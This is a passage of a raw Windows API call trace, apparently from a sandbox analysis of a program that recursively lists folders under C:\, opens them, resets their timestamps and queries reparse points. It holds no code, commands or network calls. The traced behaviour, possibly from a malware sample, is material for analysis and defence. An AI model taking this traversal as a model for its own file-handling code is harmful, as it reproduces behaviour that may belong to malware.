ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.474] CreateFileW (lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0227.474] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0227.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.475] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0227.475] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.475] NtClose (Handle=0x170) returned 0x0 [0227.475] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0227.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0227.475] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0227.475] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.475] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.475] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.475] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3f28 [0227.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4f58 [0227.475] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.475] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.475] GetLastError () returned 0x12 [0227.476] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0227.476] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0227.476] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.476] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.476] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.476] GetLastError () returned 0x12 [0227.476] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0227.476] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.476] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0227.476] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.476] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0227.476] GetLastError () returned 0x12 [0227.476] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0227.476] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0227.477] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0227.477] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0227.477] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0227.477] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0227.477] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0227.477] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0227.477] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x15ff930 | out: lpFileInformation=0x15ff930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.477] CreateFileW (lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0227.477] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff974, lpLastWriteTime=0x15ff974) returned 0 [0227.477] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.477] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0) returned 0 [0227.477] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.477] NtClose (Handle=0x1a8) returned 0x0 [0227.477] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0227.477] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0227.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0227.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0227.478] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd520 [0227.478] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.478] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0227.478] GetLastError () returned 0x12 [0227.478] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd460 [0227.478] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0227.478] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.478] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0227.478] GetLastError () returned 0x12 [0227.478] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0227.478] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.478] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0227.478] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0227.478] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0227.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0227.478] GetFileAttributesExW (in: lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), fInfoLevelId=0x0, lpFileInformation=0x15ff930 | out: lpFileInformation=0x15ff930*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.479] CreateFileW (lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0227.479] GetLastError () returned 0x5 [0227.479] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0227.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0227.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0227.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0227.479] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0xffffffff [0227.479] GetLastError () returned 0x5 [0227.479] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0xffffffff [0227.479] GetLastError () returned 0x5 [0227.479] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0227.479] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0227.479] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0227.479] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x7acdd6a0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0227.479] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0227.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0227.479] GetFileAttributesExW (in: lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), fInfoLevelId=0x0, lpFileInformation=0x15ff930 | out: lpFileInformation=0x15ff930*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.480] CreateFileW (lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0227.480] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff974, lpLastWriteTime=0x15ff974) returned 0 [0227.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.480] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0) returned 0 [0227.480] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.480] NtClose (Handle=0x1ac) returned 0x0 [0227.480] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0227.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0227.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0227.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0227.480] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd460 [0227.480] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.480] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0227.480] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0227.480] GetLastError () returned 0x12 [0227.480] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd520 [0227.480] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.481] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.481] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0227.481] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.481] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.682] CreateFileW (lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0227.682] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0227.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.682] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0227.682] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.682] NtClose (Handle=0x1ac) returned 0x0 [0227.682] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0227.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0227.682] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0227.684] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, 